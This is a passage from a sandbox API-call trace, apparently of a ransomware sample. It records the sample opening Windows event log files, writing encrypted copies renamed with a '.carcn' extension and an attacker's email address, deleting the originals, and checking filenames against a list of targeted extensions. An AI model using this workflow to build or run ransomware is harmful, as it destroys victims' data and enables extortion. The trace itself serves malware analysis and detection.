out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x1010, lpOverlapped=0x0) returned 1 [0180.841] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x1020, lpOverlapped=0x0) returned 1 [0181.219] ReadFile (in: hFile=0x310, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.219] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x126, lpOverlapped=0x0) returned 1 [0181.219] SetEndOfFile (hFile=0x36c) returned 1 [0181.220] CloseHandle (hObject=0x36c) returned 1 [0181.239] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.239] SetEndOfFile (hFile=0x310) returned 1 [0181.240] CloseHandle (hObject=0x310) returned 1 [0181.240] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.240] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0181.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.240] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.240] lstrlenW (lpString=".doc") returned 4 [0181.241] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString=".docx") returned 5 [0181.241] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.241] lstrlenW (lpString=".pdf") returned 4 [0181.241] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString=".xls") returned 4 [0181.241] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString=".xlsx") returned 5 [0181.241] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.241] lstrlenW (lpString=".ppt") returned 4 [0181.241] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.241] lstrlenW (lpString=".zip") returned 4 [0181.241] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString=".rar") returned 4 [0181.241] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString=".bz2") returned 4 [0181.241] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString=".7z") returned 3 [0181.241] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.241] lstrlenW (lpString=".dbf") returned 4 [0181.241] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.241] lstrlenW (lpString=".1cd") returned 4 [0181.241] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.241] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.241] lstrlenW (lpString=".jpg") returned 4 [0181.242] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.242] lstrlenW (lpString=".doc") returned 4 [0181.242] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.242] lstrlenW (lpString=".docx") returned 5 [0181.242] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.242] lstrlenW (lpString=".pdf") returned 4 [0181.242] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.242] lstrlenW (lpString=".xls") returned 4 [0181.242] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.242] lstrlenW (lpString=".xlsx") returned 5 [0181.242] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.242] lstrlenW (lpString=".ppt") returned 4 [0181.242] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.242] lstrlenW (lpString=".zip") returned 4 [0181.242] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.242] lstrlenW (lpString=".rar") returned 4 [0181.242] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.242] lstrlenW (lpString=".bz2") returned 4 [0181.242] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.242] lstrlenW (lpString=".7z") returned 3 [0181.242] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.242] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.242] lstrlenW (lpString=".dbf") returned 4 [0181.243] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.243] lstrlenW (lpString=".1cd") returned 4 [0181.243] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.243] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49 [0181.243] lstrlenW (lpString=".jpg") returned 4 [0181.243] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.243] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0181.243] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Security.evtx") returned 42 [0181.243] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0181.243] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0181.243] CloseHandle (hObject=0x310) returned 1 [0181.244] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0181.277] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.277] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0181.277] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.277] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.277] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0181.278] GetLastError () returned 0x0 [0181.278] ReadFile (in: hFile=0x2d8, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0181.309] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0181.311] ReadFile (in: hFile=0x2d8, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.311] WriteFile (in: hFile=0x35c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x128, lpOverlapped=0x0) returned 1 [0181.311] SetEndOfFile (hFile=0x35c) returned 1 [0181.311] CloseHandle (hObject=0x35c) returned 1 [0181.731] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.731] SetEndOfFile (hFile=0x2d8) returned 1 [0181.732] CloseHandle (hObject=0x2d8) returned 1 [0181.732] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.732] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 1 [0181.901] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.901] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.901] lstrlenW (lpString=".doc") returned 4 [0181.901] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.901] lstrlenW (lpString=".docx") returned 5 [0181.901] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.901] lstrlenW (lpString=".pdf") returned 4 [0181.901] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.901] lstrlenW (lpString=".xls") returned 4 [0181.902] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString=".xlsx") returned 5 [0181.902] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.902] lstrlenW (lpString=".ppt") returned 4 [0181.902] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.902] lstrlenW (lpString=".zip") returned 4 [0181.902] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString=".rar") returned 4 [0181.902] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString=".bz2") returned 4 [0181.902] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString=".7z") returned 3 [0181.902] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.902] lstrlenW (lpString=".dbf") returned 4 [0181.902] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.902] lstrlenW (lpString=".1cd") returned 4 [0181.902] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.902] lstrlenW (lpString=".jpg") returned 4 [0181.902] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.902] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.902] lstrlenW (lpString=".doc") returned 4 [0181.902] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString=".docx") returned 5 [0181.902] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.902] lstrlenW (lpString=".pdf") returned 4 [0181.902] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString=".xls") returned 4 [0181.902] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.902] lstrlenW (lpString=".xlsx") returned 5 [0181.903] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.903] lstrlenW (lpString=".ppt") returned 4 [0181.903] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.903] lstrlenW (lpString=".zip") returned 4 [0181.903] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.903] lstrlenW (lpString=".rar") returned 4 [0181.903] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.903] lstrlenW (lpString=".bz2") returned 4 [0181.903] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.903] lstrlenW (lpString=".7z") returned 3 [0181.903] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.903] lstrlenW (lpString=".dbf") returned 4 [0181.903] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.903] lstrlenW (lpString=".1cd") returned 4 [0181.903] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.903] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 50 [0181.903] lstrlenW (lpString=".jpg") returned 4 [0181.903] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.903] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0181.903] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0181.903] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.911] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0181.911] CloseHandle (hObject=0x388) returned 1 [0181.911] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0181.911] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0181.911] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.911] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.911] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.911] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0181.933] GetLastError () returned 0x0 [0181.933] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.195] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.197] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.197] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x16c, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x16c, lpOverlapped=0x0) returned 1 [0182.197] SetEndOfFile (hFile=0x36c) returned 1 [0182.208] CloseHandle (hObject=0x36c) returned 1 [0182.210] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.210] SetEndOfFile (hFile=0x388) returned 1 [0182.211] CloseHandle (hObject=0x388) returned 1 [0182.211] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.211] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 1 [0182.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.212] lstrlenW (lpString=".doc") returned 4 [0182.212] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString=".docx") returned 5 [0182.212] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.212] lstrlenW (lpString=".pdf") returned 4 [0182.212] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString=".xls") returned 4 [0182.212] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString=".xlsx") returned 5 [0182.212] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.212] lstrlenW (lpString=".ppt") returned 4 [0182.212] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.212] lstrlenW (lpString=".zip") returned 4 [0182.212] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString=".rar") returned 4 [0182.212] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString=".bz2") returned 4 [0182.212] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString=".7z") returned 3 [0182.212] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.212] lstrlenW (lpString=".dbf") returned 4 [0182.212] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.212] lstrlenW (lpString=".1cd") returned 4 [0182.212] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.212] lstrlenW (lpString=".jpg") returned 4 [0182.212] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.213] lstrlenW (lpString=".doc") returned 4 [0182.213] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString=".docx") returned 5 [0182.213] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0182.213] lstrlenW (lpString=".pdf") returned 4 [0182.213] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString=".xls") returned 4 [0182.213] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString=".xlsx") returned 5 [0182.213] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0182.213] lstrlenW (lpString=".ppt") returned 4 [0182.213] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.213] lstrlenW (lpString=".zip") returned 4 [0182.213] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString=".rar") returned 4 [0182.213] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString=".bz2") returned 4 [0182.213] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString=".7z") returned 3 [0182.213] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0182.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.213] lstrlenW (lpString=".dbf") returned 4 [0182.213] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.213] lstrlenW (lpString=".1cd") returned 4 [0182.213] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0182.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 84 [0182.213] lstrlenW (lpString=".jpg") returned 4 [0182.213] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0182.214] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0182.214] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0182.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.214] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x266ff14 | out: lpFileSize=0x266ff14*=69632) returned 1 [0182.214] CloseHandle (hObject=0x388) returned 1 [0182.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0182.214] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0182.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0182.214] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.214] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.214] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0182.215] GetLastError () returned 0x0 [0182.215] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x11000, lpOverlapped=0x0) returned 1 [0182.340] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x11010, lpOverlapped=0x0) returned 1 [0182.342] ReadFile (in: hFile=0x388, lpBuffer=0x38be020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x266fecc, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesRead=0x266fecc*=0x0, lpOverlapped=0x0) returned 1 [0182.342] WriteFile (in: hFile=0x36c, lpBuffer=0x38be020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x266fc94, lpOverlapped=0x0 | out: lpBuffer=0x38be020*, lpNumberOfBytesWritten=0x266fc94*=0x12c, lpOverlapped=0x0) returned 1 [0182.342] SetEndOfFile (hFile=0x36c) returned 1 [0182.342] CloseHandle (hObject=0x36c) returned 1 [0182.344] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x266fec0 | out: lpNewFilePointer=0x0) returned 1 [0182.344] SetEndOfFile (hFile=0x388) returned 1 [0182.345] CloseHandle (hObject=0x388) returned 1 [0182.345] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0182.346] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0182.346] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0182.346] 